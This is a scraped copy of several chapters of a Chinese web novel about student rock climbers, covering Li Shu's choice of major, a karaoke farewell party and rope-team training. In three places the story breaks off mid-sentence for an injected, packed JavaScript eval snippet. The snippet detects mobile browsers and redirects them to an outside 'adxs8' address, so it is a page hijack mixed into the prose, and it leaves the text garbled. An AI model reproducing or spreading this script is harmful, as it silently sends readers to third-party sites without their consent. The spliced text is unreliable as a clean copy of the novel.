5.11已经是爱好者中还算不错的水平,能爬5.12在普通爱好者中算高手,也是很多岩友努力的目标。 “拓哥这都爬了十多年了吧?哪能这就让你赶上了?”黎晓唱在旁边嘻嘻一笑,“你觉得进步慢,其实现在才是进步最快的时候。真正的瓶颈期还在后面呢。” “没错。”方拓点头,“有时候大家就卡在某个级别上,一卡多少年,不努力还会倒退,这都正常。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116238|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李澍听得有些心慌。 “但是,这也没什么关系。”方拓挑眉一笑,语气轻松,“你看多少老岩友,当了多少年的5.10选手(作者:是我本人没错了),一样开开心心的,自己爬得快乐,比什么都重要。” 旁边一个新队员插话:“不止开心,爬得上瘾呢,所以也想进步啊!” 方拓说:“想要进步,第一,多动脑,不能只练身体,得多思考;第二,提高弱项,弥补短板;第三,持之以恒。” 学生队员们听得认真,纷纷点头。 方拓继续说道:“此外,也得有清楚的自我认知。要自信,但不能自大;要接受自己和高手的差异,但也不能自卑。” 黎晓唱点评:“拓哥正经起来,还是挺正经的。” 方拓敲了她后脑勺一下:“这都是人生哲理好不好?认真点。”他又转向李澍,“你这个师父不靠谱,下学期开始就不在北京了吧?得赶紧给你找个下家啊!别耽误你进步。” “是啊,我也这么觉得,”黎晓唱附和,“小澍是应该换个师父了。” 李澍心一沉:“我还有挺多要练习的吧……” 黎晓唱顺势说:“就拓哥吧,怎么样?” 方拓“哈”地笑了一声,“就知道你在这儿等我呢。” 黎晓唱也笑:“就知道你看好小澍了。不过,今年你怎么这么多时间在北京啊?” “一堆事儿呢,”方拓道,“大人的事儿,小孩子别多嘴哦。” 旁边真正的小孩子已经开口:“方拓叔叔要结婚了。” 众人恍然,拉长声音:“哦~” 方拓揉了揉川川的头发:“就是忙着装修而已。”他也大方,说下次可以约时间去郊外攀岩,他带上女友同行,又说:“小橘是做生态的,和晓唱应该挺有共同语言。” 黎晓唱不见外:“难得你在北京,白天装修,现在晚上岩壁也开啊,可以抓紧时间来指导指导我们。” “别给我派活儿了。”方拓说,“我答应你,你不在北京的时候,我替你多去指导指导小澍,放心了吧?” 黎晓唱眼睛一亮:“一言为定哦。小澍,还不谢谢拓哥?” 李澍对方拓道谢。低头看见邵一川小动物一样圆溜溜的大眼睛,也向他友善地翘了翘嘴角。呵,这小家伙就成他师兄了。 众人以岩会友,又在食堂一起吃了晚饭,相约有空再交流。临别时,黎晓唱和燕子依依不舍,说着暑期黎晓唱离京之前,要结伴去野外一次,痛痛快快磕线。 返回的路上,朗月当空,夜风带来花香盈袖。一群攀岩队员一边骑车一边交谈着,一起哼着熟悉的歌,身体疲累,却无比快乐。 有一段自行车道别无他人,几个人心血来潮,用力踩着踏板,你追我赶。李澍人高腿长,自然是比黎晓唱快一些。他略微超过她一两米,就暗中收劲儿,在她斜前方不疾不徐骑着。 稍一侧头,就看到她半站起来,刘海被风吹得飞扬起来,是那么快乐,那么无拘无束。 李澍被她和周围的队友带动,也开怀地笑起来。高大的黄色路灯下,神采飞扬的年轻人们飞驰而过,仿佛每个人都有着使不完的劲儿,都有着无穷的快乐。 梦想与拼搏,同伴与快乐,如果这就是青春的全部,那该有多好。 25. 第十一章 选择 李澍收到家里的转账,整整一万元。父亲在电话中说,前段时间五一假期,接了不少游客,收入颇丰;加上此前积累的部分,凑整转给李澍买电脑,让他自己劳逸结合,不要辛苦做家教。 “不用这么多。”李澍推辞,“我也攒了几千。家里冰箱的密封性都不好了,你们换个新的吧。” 电话中传来父亲李东明爽朗的笑声:“什么密封性不好啊?就是你妈没关严实。” 母亲赵春萍抗议:“那密封条就是老化了,以前一推就吸上了,现在得使劲儿按才行,关不严就进水汽!” 李澍说:“那就换一个吧。” 母亲又改了口风:“那倒不用,压缩机又没事儿,还能用。” “不用总惦记着给我寄钱什么的,我这儿都挺好的。家教就在跟前儿,高中的内容我都还记得,不累。”李澍又叮嘱父母,“我爸那个腰,该去复查就复查,那几个康复的动作还得继续做。你俩都是,有什么不舒服,记得去医院,别就吃去疼片。” 李东明语气似是不耐烦:“知道了,知道了。”但听起来却也是喜滋滋的。 李澍的课业一直没有松劲儿,在全学年成绩也处于中上。 大二伊始要划分专业,因此在大一的春夏之交,学院连续举行了若干场专业分流宣讲会。由不同领域的专家学者介绍各专业和学科的课程设置、发展方向、毕业生去向等,也有高年级师兄师姐或是毕业生交流经验。 有几位老师和高年级代表纷纷提到,在选择专业时,是要让合适的人,选到合适的专业。 要考虑自己的理想、兴趣和特长,要在学习和科研的过程中体会到快乐和成就感。 不要怕问题和挑战,要迎难而上,去解决问题。 更要对未来有信心,把握发展机遇,与其思考哪个专业更有‘钱途’,去预判未来,不如提高个人竞争力,成为专业内抢手的顶尖人才。 在宣讲会上,李澍也见到了程峻齐。他作为优秀本科生代表,和师弟师妹分享了大三进入实验室后的心得,以及他加入实验室两年来参与的项目与收获。 看到他在台上从容自若的气度,李澍不禁想起在攀岩友谊赛中,那些屡获佳绩的特招运动员,还有运动会赛场上将众人远远甩开的接力选手。 有人比你更有天赋、更加努力,甚至出发更早。 在你蹒跚学步,甚至还要在迷雾中摸索前行方向的时候,他们已经到达了看似不可企及的高度。 然而这些人,不仅仅是竞争者,也是先行者,是领路人。 李澍想起那天聚餐时,方拓说过的一番话:“每个登顶雪山的人,都是从大本营出发的。” 路都是一步步走出来的。自然,有人先看到峰顶的无限风光;但他现在应当关注的,不是和对方一较高下,而是自己如何继续攀登。 就像攀岩一样,多思考,补短板,持之以恒。 掉下来再继续爬起,一个动作一个动作攻克,每次尝试,都能在岩壁上进步一些。即使短时间内不能超越对方,总可以超越过去的自己。或许在某一天,就能与那些先行者比肩。 但那天,方拓也私下和李澍说了几句话。 他说:“你爬得很稳。看得出来,晓唱和我教给你的,你都认真练习了。但另一方面,你是个新手啊,面对新线路时,拿出你的激情和创意来!你可以更猛一些,更拼一些!不要怕犯错,不要怕失败!” 最初填报高考志愿时,许多高中生和家长,甚至是高中的老师们,对各个大学的专业名目和课程设置并没有清晰的认知。 即使进入大学,未来的图景仍飘渺遥远。 李澍高中时成绩优异,便拥有了随心选择的权利。信息科学是众多高分生的首选,所以报考这个学院,是他无需犹豫和思考的选择。传统的计算机技术也是老牌优势专业,无论怎么看,都更为保险稳定。 相对而言,智能科学等新兴的领域中,即使在学界,各种观点都充满冲突,没有定论。但正是这种不确定性,让未来充满无限可能。 会后程峻齐看到李澍,热情地招呼他,问他是否有了确定的意向。 李澍点头:“我有点,想选智能科学。” “我现在做的也可以归到智能科学方向,我看好它的发展前景,但之前我选的是传统的计算机技术。”程峻齐说,“智能科学系还是比较新,在国内就七八家大学有。不像传统计算机技术专业的课程设置,有完善的国际标准的教学体系,成熟的知识框架。我其实也是到了大四,才开始深度接触这些。” “我明白,不过,还是想试试。”李澍并不犹豫。 几天宣讲会下来,他也无数次反复,扪心自问:是走一条更为保险的路,还是去探索别人眼中相对未知的世界。 来到大学后,李澍最深的感受,就是和按部就班的高中生活相比,他如同从平静的湖泊进入风云激荡的海洋,要不断与风浪搏击,还要寻找自己的航向。 时常恐惧,也时常斗志昂扬。 现在他再次面临未来的抉择,想要构架一个怎样的知识背景,想要有怎样的发明创造,想要……成为一个怎样的人? 而不是家庭、亲友和社会如何看待他。 不是那些贴在身上的标签。 “之前跑接力我就看出来了,你有冲劲儿,也能坚持。”程峻齐笑了笑,也不多劝,“选这个专业没问题,但基础核心课不能丢。” “谢谢师兄。” “哦,对了。下周五我请几位社团的朋友一起吃个饭,去唱个歌,祁飞和晓唱也在,一起来吧。” 李澍略犹豫,找了个理由拒绝:“我就不去了,那天还有家教。” “这样啊……我们可能会唱个通宵,到时候我把地址发你,有空就过来吧。” 李澍基本确定了专业选择,又看了一下几个实验班的课程设置,也在BBS上翻阅经验贴,大致规划了大二的学习计划。 此外课余生活也依旧忙碌,除了日常的攀岩训练,他也因为运动会上的出色表现,被学院同学们拉去组队,参加学校的环湖“5+2”接力跑——每队五名男生,两名女生,不限棒次接力,总共完成半程马拉松的距离。 已有的队员特意委托队里开朗活泼的女生来邀请他。女生没给他犹豫的机会:“你们协会日常的跑量就够了,都不需要额外训练,直接上场就行!” 话虽如此,但总要和其他六人规划战术。连续一段时间,李澍忙于选专业,研究发展方向,和队友交流。除了日常的攀岩训练,也没有多少机会和黎晓唱一同观鸟散步,或是自习交流。 接力赛当日天色阴沉,湖水青碧,烟雨濛濛,但数十只队伍准时到场,队员们短袖短裤,气氛依旧热火朝天。 李澍在参赛人群中看到不少登山协会和跑步协会的成员,在大学校园里,这大概是最有运动毅力的一群普通学生。还有其他高校选派的精英队伍,摩拳擦掌,跃跃欲试。 细雨纷飞中,李澍率先出发。每次路过湖畔转角的岩壁,明知道没有队友在这样的天气来训练攀爬,还是忍不住瞟了几眼。岩壁高大沉默,又亲切熟悉,仿佛它也在注视着自己,可以给自己加油一般,让李澍浑身又多了几分力量。 绕到湖南岸后,中段有一座小桥。桥下湖水沉静,继续向南汇拢,凝成一泊纤巧的池塘。 李澍跑向石桥,隐约看到雨雾中,有人沿着池塘边的石板小路迤逦而来。葱茏的绿树旁,两个人撑了同一把伞,有说有笑。 正是程峻齐和黎晓唱。他似乎在分享什么趣事,她惊讶道:“是么,我都没听说过。” 两个人走到路口,正遇到奔跑的队伍,各自都看到熟人,停下来招手加油。 下一秒,李澍和他们撞了个迎面。狭路相逢,终不能幸免,听见树梢的雨滴,落在长柄大伞上的声音。 滴滴答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116239|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答,一秒的安静,短暂又漫长。 李澍脚步沉了一下。他知道,从这个石板路绕过山丘,穿过银杏林,就是上次黎晓唱带他看红角鸮的地方。 他还记得,她神秘兮兮地和自己说,“要保密,不要带别人来哦。” 此刻,面前的程峻齐算不算别人? 他倒是大大方方,挥动手臂:“师弟,加油!” “小澍,加油哦!”黎晓唱似乎有些迟疑,但也马上反应过来,给他鼓劲儿。 李澍点了点头,很快便超过了二人。 他抹了一把脸上的雨水,忽然想起来,他和黎晓唱来看猫头鹰那天,也是阴雨绵绵的日子。他特意带了雨伞,但黎晓唱大大咧咧阻止他,说这点儿小雨算什么,不需要打伞。 今天的她,站在程峻齐擎起的雨伞下,似乎看起来乖巧了许多。 看着李澍跑开的身影,不知为何,黎晓唱心中有一丝愧疚。 虽然他什么都没有说,但看向她的目光,停留得似乎有点久。 李澍一向话也不多,但黎晓唱知道,他不是木讷的人,有了什么心事,八成神情里藏不住。 是因为自己叮嘱李澍不要外传,又破坏规矩了吗? 曾经在许多地方发生过不良事件:所谓的摄影爱好者为了捕捉拍摄鸟类动态,去惊吓驱赶休息的鸟儿们;或者聚集围观,在夜间打起闪光灯,影响猫头鹰回巢育雏。 因此各种猫头鹰在校内的位置信息,是爱好者之间的小秘密。大家谁能找到,各凭本事,偶尔也会带熟悉且信任的朋友来看。 程峻齐曾经和黎晓唱说起,他临近毕业,离校前想要看一下四年来都没见过的猫头鹰。这一个小小的愿望,她总是会尽力而为。 最近李澍忙于选专业,似乎好久两个人都没有单独的交流。 黎晓唱独自跑步时,发现红角鸮又回到了之前的树上休憩,推测大概它就在附近育雏。所以也没耽搁,约了程峻齐第二天来看。 细雨纷飞时,程峻齐撑了一把伞。黎晓唱自己淋雨无所谓,但总不好说,“你也把伞收了吧”,也无法拒绝对方为自己撑伞的好意。 当两个人站在小小一方没有雨落的天空下,她难免有些拘束,步子都迈不开,整个人都显得秀气了一些。 刚刚站在树下,黎晓唱将红角鸮指给程峻齐看。又看到树干上白花花一片排泄物的痕迹,她又想起自己兴致勃勃给李澍看食丸,还任由他往别处联想。李澍一脸嫌弃,又无可奈何。 但对程峻齐,黎晓唱说不出“你有《时间简史》吗”这样不羁恶搞的笑话。她只是约略提了一下,从食丸里可以看出红角鸮和鹰鸮的食谱。 红角鸮小巧玲珑,鹰鸮体型庞大得多。 白天如果喜鹊们发现了鹰鸮的踪迹,一定要成群结队将它驱逐,否则到了夜里,局势逆转,吃亏的就是它们自己了。 程峻齐听得饶有兴致,还和她说起之前去日本旅游,在许多地方看到售卖猫头鹰造型的纪念品,因为它的日语发音和“福”相似,所以也被当做吉祥的象征。 黎晓唱惊讶:“‘夜猫子进宅’的说法,没传过去啊?不过本来也是,猫头鹰多萌呢!” 虽然和程峻齐说说笑笑,但她隐隐觉得,自己好像是把和李澍两个人的秘密,分享给别人知晓了。 想起李澍刚才的样子,头发湿漉漉的,一脸严肃,肩头和手臂也落了雨水,只是程式化打了招呼,便大步跑开。黎晓唱暗自叹了口气。 但她转念一想,又甩了甩头,回过神来。 为什么她要有负罪感呢?这儿不是好多人都来看么?也不是就她和李澍来过啊! 如果说这是个秘境,也是属于校内观鸟爱好者的秘境——又不是他们两个的。 不过,最近好像的确和小澍见得比较少啊,也没怎么聊天。 黎晓唱掰了掰手指,是啊,都一个礼拜了。 感觉过了好久。 26. 第十一章 (下) 程峻齐顺利拿到签证,请大家吃饭唱歌。前后约了几拨人,这周五喊上的都是相熟的几位社团友人,其中也有几位黎晓唱的熟人。之前程峻齐说过,也会邀请祁飞和李澍,所以她没多想,便答应下来。 寝室里的姑娘们比黎晓唱还积极,看她穿着日常的T恤和工装七分裤、斜挎着帆布包、素面朝天就要出门,立刻一迭声将她喊住。 黎晓唱被按着坐在桌前,看到推到面前的化妆品、卷发棒,连忙摆手:“不用吧,干吗搞这么复杂?再说,我又不会化妆。” 孟琳嬉笑:“我们帮你画啊。我是手残,亚岚可以啊!” “别别,”黎晓唱捂着脸颊,“我每天都这样,为什么今天非要化妆啊,多奇怪啊!” 周亚岚说道:“那至少,把眉毛修修。” “我眉毛还可以吧。” 孟琳不依不饶:“那至少……” 黎晓唱拗不过大家的坚持,最后把工装裤换成牛仔裙,把运动鞋换成了帆布鞋,哀求道:“诸位姐姐,赶紧让我走吧,再不走就迟到了!”黎晓唱在攀岩队养成了准时准点的良好习惯,此刻如坐针毡。 两个室友将她转了个圈,“这样看起来好看多了。好好玩儿去吧,不着急回来!多喝点也没事,到时候让师兄送你回来哦!” “都哪儿和哪儿啊,”黎晓唱抓起挎包,“我去坐坐就回来。” 她小跑着赶到校门口集合处,时间将将好。几个约好一同乘车的朋友已经等在树下。祁飞看到她,面露惊讶:“你竟然穿裙子了?” 她找了个借口:“这不是,难得不运动,趁机把运动服都洗了……” 祁飞点头:“程峻齐先去点菜了,咱们出发吧。” “哎,人都齐了吗?”黎晓唱环顾四周,“小澍呢?” “哦,听说他今晚有家教,不去了。” “啊,这样啊……”黎晓唱扁了扁嘴,心底有些小失落。她总觉得最近和李澍有点疏远,本来想在路上可以多聊几句——当然,大多时候是她在说,李澍在听。 一众人去吃了川菜,又转场去KTV唱歌。来参加聚会的大四毕业生居多,基本都已经保研或确定出国,都说不介意唱个通宵。 黎晓唱平时也不腼腆,虽然歌喉一般,但和一群人坐在岩壁下,或出野外时在山野间露营,有人喊她唱歌,她便大大方方唱一个。天高地阔,也没什么伴奏,跑个调、破个音,偶尔忘了词,哼哼两句过去,都不是什么大不了的事儿。 哪怕喝了两口酒,从篝火边站起来,跳一段四不像的民族舞,她都不会觉得尴尬。 但坐在KTV里,黎晓唱就显得拘束得多。大家兴致勃勃地点着歌,她也点了两首,规矩地排着队。和摇着铃鼓、打着拍子的众人相比,她反而成了文静的那一个。 有的人唱得开怀,一首首唱下来,都忘了是否是自己点的。前奏响起,还跟着节奏摇摆,拿着麦克风不放手。 程峻齐之前看到黎晓唱坐在一角默默点歌,便留心了她的曲目,这时挥手打断尚且陶醉在音乐中的歌手:“到晓唱了吧。” “哎呀,是啊,这个好像不是我点的。”麦霸及时醒悟,“哈哈,还是老程细心。” 黎晓唱接过麦克风,正好前奏将过。 “如果骄傲没被现实大海冷冷拍下,又怎会懂得要多努力,才走得到远方。” 一开口,她不禁吐了吐舌头,好像过了第一句就开始跑调。之前自己哼唱的时候,从来没觉得有哪儿不对。跟上伴奏,才发现自己平素对节拍和旋律没少自我演绎,和人家的原始曲调不大合得上。 她尴尬笑笑,事到如今,硬着头皮继续唱呗。 “把眼泪种在心上,会开出勇敢的花”,嘿,这两句发挥不错。 唱到“可以在疲惫的时光,闭上眼睛闻到一种芬芳”时,踩点就乱了,感觉都要变成念白了。黎晓唱自己都笑起来:“哎呀,唱得什么乱七八糟,切吧切吧。” “我和你一起唱吧。”程峻齐接过另一支麦克风,稍一停顿,跟着旋律切入: “沮丧时总会明显感到孤独的重量,多渴望懂得的人给些温暖借个肩膀。” 他声音醇和,听起来让人觉得内心安定。黎晓唱在他的目光中看到鼓励,又拿起麦克风,和他一起唱下去: “很高兴一路上我们的默契那么长,穿过风又绕了弯,心还连着,像往常一样” 众人晃着铃鼓和沙锤,打着拍子,有人在后段一起唱起来:“最初的梦想,紧握在手上,最想要去的地方,怎么能在半路就返航。” 在斑斓闪烁的灯光中,黎晓唱也随着音乐的节奏摇摆,在程峻齐的带动下放松下来,第二段找回节奏感,唱得越来越顺畅。 看向程峻齐,他已经收了麦克,但还是在一边拍着手,笑盈盈地看着她。 曲调回旋,又来到他之前陪她一同哼唱的那一句:“很高兴一路上,我们的默契那么长。” 黎晓唱的心跳骤然加速,脸庞没来由地热起来。她似乎在一瞬间醒悟,程峻齐凝视的目光,似乎真的和一位普通好友不大一样。 一曲既罢,大家鼓掌,鼓励黎晓唱道:“这歌的确不好唱,拐弯挺多的。” 也有人揶揄程峻齐:“我也唱不上去啊,你怎么不说帮帮我?” 程峻齐笑骂:“你不总说那是你的个人风格么,什么时候要人帮忙过?” 切换到下一首歌曲,又有人起身拿过麦克。看似自然而然,程峻齐和黎晓唱二人就被推到邻座了。明明平时也有不少共同话题,此刻黎晓唱却觉得有些慌乱。 想起临出门前,寝室的人说,“晚点儿回来,让程师兄送你”。一个个笑容别有深意。想到一会儿如果真的和他两个人单独相处,黎晓唱顿感手足无措。 又听了两首歌,她故作夸张地看了看时间,“哎呀,有点儿晚了,我得回去了,一会儿末班车要收了。” “等一会儿大家一起走吧。”程峻齐道,“可以打两辆车。” “我早点回去睡了,明天还得帮登山队训练。”黎晓唱找了借口,“他们要练结组什么的,需要助手。” 祁飞抬眼看她,一脸莫名。 虽然他已经不是攀岩队长,但最近几日的训练安排,BBS上都有公布。黎晓唱作为备战大学生攀岩赛的主力,并不需要承担集训辅导任务。 黎晓唱又不能当着众人对他挤眉弄眼,强自镇定,继续找理由:“对,他们今年出发早,训练时间短,需要好好练习。” “这样啊。”程峻齐也不强加挽留,“那我送你出去,回头有空再聚。”走到门前,还不忘叮嘱她,“应该还能赶上末班车吧,到了学校记得来个电话,要是收车了就回来。” 黎晓唱点头应允。 坐在空荡荡的末班公交上,看着窗外空旷的街道,她松了一口气,心中却一片茫然。她不知道自己在紧张什么,畏惧什么。彼此喜欢就在一起,不喜欢就做朋友。她一直觉得是非常简单的事儿,哪来那么多的辗转反侧、牵肠挂肚。 可现在,她有些想不清,也不想做出任何选择和判断。 汽车停在南门外不远处,黎晓唱穿过居民区,已经看到校门的匾额。 路灯下依旧烟雾缭绕,煎饼果子、鸡蛋灌饼、烤串、麻辣烫……一字排开;学生们三五成群吃着宵夜。 黎晓唱掏出手机,正想着给程峻齐发条消息报平安,忽然听到有人喊自己的名字。一回头,是攀岩队几个人,正围着一张矮桌,坐在小板凳上,喝着啤酒撸着串。 再一抬头,李澍也在。只不过孙老板生意太好忙不过来,他又被抓去自助烤串了。 黎晓唱莞尔:“老孙你可真行,小澍你都雇得起。改天你去居民区租个店面挂个牌子呗,状元烤串。” “我又不是状元。”李澍摇着纸板。 “说起烤串,小澍是这个!”老孙竖起大拇指。 李澍的经验和技艺都来自于父亲,他作为童工的劳动生涯也不短。 父亲无奈离开工厂后,这位曾经的劳动能手、运动健将,无法以当年自豪的技术工种谋生,于是开过黑摩的,在夜市摆过摊,也交了管理费,在离家不远的路口烤串。 李澍那时候总去帮忙。别人上补习班,他在家里串串,在街边烤串。刚开始也抹不开,但起早贪黑操劳的父母更让他心疼。于是,成绩依旧傲视众人的他,还练习了一手调味烤串的好技术。 他的这一特长,去了美国后格外引人注目。周围的中国留学生发现李澍还有这一手,常常鼓动着他一起聚餐。买来牛羊肉,懒得切丁,就直接大块调味。 虽然和烤串不同,但懂得如何调制层次丰富的腌料,掌握了食材和火候的搭配,经过两次调整,李澍便驾轻就熟,被大家调侃为可以申请技术移民了。 随着年龄的增长,他的寡言不再显得拘谨,而成了沉稳的表现。整洁俊朗、低调内敛的男生,文能高数编程,武能徒步攀岩,认得众多的植物和鸟儿,除了烧烤另有一身好厨艺,明里暗里受到不少女生的青睐。 不过那都是以后的事情了。今时今日,他还是大家的小师弟,在老队员大快朵颐的时候,心甘情愿烤着串。一抬头,穿过袅袅烟雾,看见那个眼睛亮闪闪的姑娘,哼着歌,愉快地向着他走来。 不过,这份喜悦或许不是因为他。 第一次,看见她穿了裙子。之前黎晓唱总说要随时准备着运动,不是攀岩就是跑步,要不就背着包爬楼梯,裙子实在是不方便。 她这条齐膝短裙也是牛仔运动款,但配了帆布鞋,露出一截小白袜腰,依旧活泼青春,和平时比更显清秀几分。 围桌吃串的队友们也发现了,打趣道:“唱姐穿裙子了!这是去约会了吗?” “约你个头啊!”黎晓唱取了小板凳,也想在众人身边坐下。但桌凳太矮,这时她觉得裙子有些短了,索性站在李澍旁边。 队友继续道:“那你穿这么淑女,这么多年难得见你穿裙子啊!” “我又不是没穿过,和寝室姑娘去看演出的时候也这么穿啊。”黎晓唱反驳,“只不过你见到我的时候,不是岩场就是操场,要不就是野外,也不方便啊。你看现在,坐都坐不下。” 她脸色红扑扑的,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116240|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道是不是喝了酒。李澍瞟了一眼,把三四张摞起来的塑料小凳搬给她:“这么坐吧。” 老孙连连制止:“唉唉,小心塌了!” 黎晓唱做个鬼脸:“我才没那么沉。要是真塌了,让李澍打工赔你啊。” 众人明知故问,问她都和谁聚会去了。 黎晓唱把同去几人的名字一一报上,听到程峻齐的时候,队友们意味深长地“哦”了一声,彼此看看,一副你知我知的表情。 黎晓唱拿羊肉串威胁:“江湖儿女,不拘小节,别乱讲啊!” 众人又打趣了几句,终于换了话题,说起最近暑期登山队和科考队人选敲定,即将开展的一系列训练和筹备活动。 黎晓唱竖起耳朵,有了新发现:“啊?小澍也报了科考?” 队友说:“是啊,你没看BBS公布的名单吗?” “哦,就看了登山队的……”黎晓唱低声嗫嚅,心想:完蛋了,最近都没有关心小澍,竟然不知道他报了科考。 每年夏天登山协会都会选拔两支队伍。 一支是校内甚至社会面更为关注的学生登山队,各种激荡风云的传奇故事基本都来自登山队,黎晓唱大二参加过,因此也更为关注。 还有一支科考队,虽然不是登山那样的极限运动,但也颇具社团特色,队员也时常负重进入山林荒野,从不同角度不同侧面开展调研,既有对社会文化的探访,也有对自然环境的科学考察。 黎晓唱不是不感兴趣,但她自己日常的专业,不就是这样么? 所以每年她也没有报名科考,自然也没有关注过谁入选。 但是,小澍他怎么没告诉自己呢? 黎晓唱坐在一叠小凳上,看他忙碌地烤着串,偷空扯了扯他衣襟:“小澍,我怎么没听你说过呢?” “哦,没来得及吧。”李澍垂眸看她,她眼睛还是又亮又圆,夜色中小动物一样,“你太忙了。” 黎晓唱被噎了个正着。 报名这事儿,网上说一句也行啊。不就是一周没见么,她忙什么了呀,忙…… “对了,今年去哪儿,四川吗?”她打了个哈哈,想要活跃一下气氛,“我也是,去平武。” 有队友说:“他们去贡嘎。” “哦,那还挺远,”黎晓唱脑海中浮现出四川地图,“中间还隔了个阿坝。” 一个队友调侃道:“阿什么?” “嘁,小儿科。”黎晓唱翻了个白眼,“懒得理你。” 李澍心无城府,如实回答:“坝啊。” 队友喜笑颜开,正要开口应允,屁股下面的凳子就被黎晓唱踢了一脚。她做出一副凶狠的样子:“不许欺负李澍!” 众人笑,又说起第二天要训练的内容。 黎晓唱本来是找个借口从聚会上脱身,这时觉得最近对李澍疏于照顾,内心歉疚,主动说:“明天我没什么事儿,本来也要去练习,可以帮你们打下手。” 老队员欣喜:“唱姐技术过硬,欢迎啊!” 黎晓唱吃着串,忽然想起什么,掏出手机。 这时忽然短信进来,是程峻齐发来的:“到了么?” “哎呀呀。”黎晓唱敲了敲脑袋,之前说好到了学校门口报平安,遇到队友们打闹,完全抛在脑后了。她连忙回了一句:“已经顺利到了,谢谢师兄关心。” “那就好,早点休息,晚安:)”他还打了一个笑脸。 这些人应该还在唱歌,“晚安”显然是用不上的。黎晓唱不再回复,继续查找她想要的信息。 果然呢,她没记错! 黎晓唱心中有个计划,想着想着,就开心地笑起来。 李澍在她侧旁,烤好了串递给大家。无意中瞟见黎晓唱手机弹出的短信,一瞥之间,也知道是程峻齐。 他不想窥视别人的信息,回转头去。但忍不住还是看了黎晓唱一眼,她低着头,翻着手机,忽然就微笑起来。 李澍一瞬间有些意兴阑珊。 他本来想去黎晓唱所在的试验基地,不过那边今年的实习名额只开放给正式选修过《保护生物学》的同学,其他人也可以去,要完全自费。 所以他一转念,还是选了协会里的传统科考项目,有学校的补贴,个人花销不大。他很想亲眼去看看黎晓唱一心向往的山野,科考本身丰富的内容设置也让他跃跃欲试。更何况,如果一切顺利,从那边坐几趟长途大巴,前往黎晓唱所在的山林去看上一眼,似乎也不是难事。 远归远,总比从北京过去近。 他自己的小算盘太多,而且科考每年也有不少人报名,所以他也并没有提前对黎晓唱说。本打算申请结果出来,确定通过选拔后,她自然能在名单里看到自己的名字,快乐地说一句:“呀,小澍你夏天也去四川啊,来找我玩吧!” 他就可以顺势说:“啊,那也好。” 李澍有些懊恼。 方拓说得对:你是个新手啊,拿出你的激情和创意来!不要怕犯错,不要怕失败! 看着满面笑意的黎晓唱,他扪心自问,自己有这个勇气,去打破现有的平衡吗? 27. 第十二章 暗涌 周六一早,参加集训的同学便陆陆续续来到岩壁,结组教学在八点准时开始。上午进行岩壁结组练习,下午登山队还要再练习雪坡结组。 即使是周末,也没有人放松或迟到,哪怕打着哈欠骑车飞奔而来。 岩壁上的结组技术,主要是用于多段攀登。一道高耸的峭壁,可攀爬的路线或许有数十米或上百米,分为若干段落。两段衔接处尽量选在稍微开阔的地方,设置锚点,以便攀登人员在此建立保护站。 几个攀登者轮流从地面攀至第一个保护站,再轮流攀登至第二个保护站,最后再轮流登顶。 在保护站绳索交错,他们需要在确保安全的情况下,完成角色转换,轮流成为攀爬者或保护员。这个过程考察的不仅是攀爬能力,还有条理与细心。 在岩壁练习时,新老队员两两搭档,许多新队员没有太多先锋攀的经验,全程需要老队员领攀,保护站又需要收绳换向,交接更为繁琐一些。 李澍头脑清醒,黎晓唱讲了一遍,他基本就记住要点,接下来练习时,只是在某些细节处又和她确认了一两遍,便能操作自如。 两个人率先完成训练任务,回到地面。 “小澍你学得也太快了,”黎晓唱感叹,“都记住了吗?别到了野外一紧张,又都忘了。” “其实不是要记动作顺序,而是逻辑,对吧。”李澍分析了一番,“比如,在保护站操作时,自己至少连接两个独立的保护系统,且要受力均衡。” “没错,道理想通了,再多练习,基本手上就不会乱了。”黎晓唱忍不住又夸奖了一句,“小澍就是聪明!” 再看人工岩壁,一圈还有若干个练习组吊在半空,快挂绳索纠结。有的人已经到达岩壁最上方,正在做顶下降,低头看,黎晓唱好整以暇地抱着胳膊,笑眯眯望上来。 上方队员惊讶:“你们都下去啦?我还以为我们组最快呢。” “那是,也不看看我们组都有谁!”黎晓唱颇为自得,“我和我徒弟,配合默契!” 李澍肩头扛着一卷动力绳,黎晓唱想做个斜倚的得意造型,手臂就搭在那卷绳子上。 李澍感觉肩膀一侧沉甸甸的,是她的重量倚靠过来。他正在整理快挂,脚下没站稳,被她推得晃了一下。 他怕摔到黎晓唱,正想伸出手来在她身后扶一下,可她反应敏捷,低声惊呼,“呀”字还没落地,人已经轻盈地跳开了。 真是,根本不给别人英雄救美的机会。什么摔入怀中,含情对望的桥段,大概和她都是绝缘的。 他悻悻地收了手,一时间尴尬无措,支吾道:“我、我把绳子和快挂放回去。” 黎晓唱看着李澍转身离去,心中有点失落。 